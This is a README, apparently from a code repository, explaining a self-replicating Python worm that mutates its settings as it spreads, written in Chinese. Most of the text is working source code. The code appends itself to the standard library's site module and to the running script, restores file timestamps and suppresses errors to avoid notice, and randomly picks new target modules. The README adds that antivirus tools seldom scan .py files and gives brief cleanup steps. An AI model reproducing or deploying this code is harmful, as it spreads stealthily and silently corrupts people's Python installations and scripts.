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[English | 简体中文]

一个简单的Python自我复制程序，具有复制时修改自身"基因"的功能，请勿用于非法用途!

程序原理

本项目实现了一个具有自我传播和变异能力的 Python 脚本。
主要功能：

  1. 提取自身代码：读取当前脚本文件，提取包含标记的代码段。
  2. 判断传播条件：检查目标文件是否满足传播条件（如文件大小、是否已包含脚本）。
  3. 基因变异：在传播过程中对核心配置参数进行随机变异。
  4. 传播代码：将变异后的基因和脚本代码附加到目标文件中。
  5. 传播历史和次数记录：更新已传播文件的记录，作为脚本基因中的"记忆"。

下面是针对最新版本worm_v3.py的执行过程介绍。

1. 初始化标记

程序首先定义了一个 genes 字典和一个标记字符串 mark：

genes = {'minsize': 3072, 'target_mod': 'site', 'cnt': 0, 'memory': []}
mark = "#####MyPython####"  # 唯一标识符
  • 基因genes：
    • minsize：目标文件的最小大小（以字节为单位），只有文件大小超过此值时，脚本才会传播。
    • target_mod：目标模块名称，脚本会尝试将自身附加到该模块的源文件中。
    • cnt：记录脚本传播的次数。
    • memory：记录已修改的文件，作为嵌入基因的记忆的一部分。
  • mark ：脚本的特征标识，既用来检测目标文件是否已被传播，又用来分隔源文件，便于找出末尾自身的代码。

2. 提取自身代码

脚本通过 find_code 函数读取自身代码：

def find_code(file):
    code = ''
    with open(file, encoding="utf-8") as f:
        for line in f:
            if mark in line.strip():
                code = line + f.read()
    return code
  • 打开当前脚本文件（__file__）。
  • 搜索包含 mark 的行，找到脚本的起始位置。
  • 提取从标记行开始的所有代码。

3. 传播逻辑

传播到文件 (spread_to_file函数)：

def spread_to_file(file, code):
    import os; stat = os.stat(file)
    old_time = stat.st_atime, stat.st_mtime
    with open(file, 'r', encoding='utf-8') as f:
        for line in f:
            if mark in line: return
    if os.path.getsize(file) >= genes['minsize']:
        backup = genes['memory'].copy()
        add_memory(genes, os.path.split(file)[1])
        with open(file, 'a', encoding='utf-8') as f:
            f.write('\ngenes=%r\n' % mutate(genes))
            f.write(code)
        os.utime(file, old_time)
        genes['memory'] = backup
  • 如果标记mark在目标文件已存在，或者文件大小小于minsize，则终止传播。
  • 否则：
    • 调用 mutate 变异基因。
    • 将基因和脚本代码添加到目标文件的末尾。
    • 利用os.utime恢复原先的文件修改日期，避免留下传播痕迹。

传播到模块 (spread函数)：

def spread(mod, code):
    spread_to_file(__import__(mod).__file__, code)
  • 调用内置函数 __import__ 动态加载模块。
  • 获取模块的源文件路径，并调用 spread_to_file 将自身附加到模块的源文件。

4. 基因变异

传播时脚本会调用 mutate 函数，以手动变异基因：

def mutate(gene):
    import sys, random as r
    mut = gene.copy()
    mut['memory'] = gene['memory'].copy()
    if r.random() < 0.2:
        mut['minsize'] = max(1500, mut['minsize'] + round(r.gauss(0, 80)))
    if (r.random() < 0.1 if '__name__' == '__main__' else r.random() < 0.01):
        mod = None
        while not (hasattr(sys.modules.get(mod), '__file__') \
                   and sys.modules[mod].__file__.lower().endswith('.py')):
            mod = r.choice(list(sys.modules))
        mut['target_mod'] = mod
    return mut
  • 变异规则：
    • 20% 的概率调整 minsize，改变文件大小阈值。
    • 随机更改 target_mod，选择另一个 Python 模块作为传播目标。如果是主程序(__name__=='__main__')，则变异概率更高，这是因为主程序执行时已经在sys.modules导入了较多的模块。
  • 基因变异能改变脚本的行为，模拟了自然界优胜劣汰的进化机制。

5. 记忆机制

脚本实现了 add_memory 函数，记录传播历史、传播次数等信息，~~类似真实生物的记忆，~~目前用于调试，将来脚本会根据记忆自动决策！

def add_memory(gene, item):
    import sys, os
    mem = gene['memory']
    mem.append(item)
    gene['cnt'] += 1
    size = sum(len(item) for item in mem)
    maxsize = 40
    while mem and size > maxsize:
        size -= len(mem.pop(0))
  • 每次传播都记录下传播到的文件名。
  • 如果总大小超过maxsize的限制，会删除最早的记录，模拟真实生物的"遗忘"机制。
  • 每次传播增加一次gene['cnt']，即使最早的记录被"遗忘"，传播次数仍然保留。

6. 主程序

脚本的主程序：

try:
    code = find_code(__file__)  # 提取自身代码
    spread(genes['target_mod'], code)  # 传播到目标模块
    spread_to_file(__import__('sys').argv[0], code)  # 传播到当前运行的主程序
except:pass
del find_code,add_memory,mutate,spread,spread_to_file,genes,mark
try:del code
except NameError:pass
  • 首先提取自身代码。
  • 传播到目标模块（genes['target_mod']），以及当前正在执行的脚本（sys.argv[0]）。
  • except:pass避免了报错导致程序被发现。
  • 完成后清理所有变量和函数，避免污染模块如site的命名空间。

代码与生物病毒的区别

这个python病毒需要存储在.py格式文件才能发挥功能，.py文件相当于病毒的蛋白质外壳，内部存放了病毒代码，类似蛋白质外壳存放病毒的遗传物质。
而解释器解析和运行带病毒的python文件，相当于病毒进入细胞，具备了传播的能力。
spread("site")将代码嵌入了标准库的代码，类似病毒的逆转录过程。
而spread_to_file(__import__("sys").argv[0])将代码传播到当前运行的.py文件，相当于转译成了新的病毒，而当前运行的新的.py文件相当于新的病毒的蛋白质外壳。

而对于基因，两者都实现了各自的基因和变异，代码中的基因genes仅仅是用于控制病毒的行为，没有功能实现，而真正病毒的基因包含功能实现。
此外代码中的mutate函数只能变异数据部分genes，不能变异代码，而真正的病毒的整个基因是能变异的。

历史版本

  • worm_v1.py: 最早的原型，具备传播到非Python解释器必需模块的功能。
  • worm_v2.py: 采用了sys.argv[0]替代__main__，能够在Python解释器启动时找到运行的主脚本。
  • worm_v2_1.py: 自动解析-m的命令行参数（根据官方文档，Python解释器使用-m启动时会将sys.argv[1]设为-m，但是sys.argv里面没有具体的模块名称，因此调用了系统API直接获取命令行参数中的模块名）
  • worm_v3.py: 最新的版本，添加了"基因"、变异和记忆功能。
  • worm_v3_no_comments.py: 和worm_v3.py完全相同，但去掉了注释，减小了文件体积。

如何安全地体验

Windows:
首先打开Python解释器的安装目录，选择Lib，原地按下Ctrl+C、Ctrl+V，复制一份标准库的Lib目录。 体验完毕后，删除旧的Lib目录，将Lib - 副本重命名为Lib，即可。

其他操作系统的步骤和Windows的大致相同。

如何彻底清除本程序

目前的杀毒软件一般针对可执行文件，如.exe、.dll等，以及一些比较流行的脚本语言的病毒，如宏(VBA)病毒、VBS病毒等。 但由于Python解释器普通人很少安装，Python的脚本病毒较少，杀毒软件一般不会针对.py文件进行检测。

解决方法除了重装Python解释器之外，还有这个方法： 安装并打开Everything软件，打开“搜索” => “高级搜索”菜单，输入以下关键词：

等待一段时间后，编辑找到的被“感染”Python文件(如site.py)，将末尾的本程序的代码删除，即可。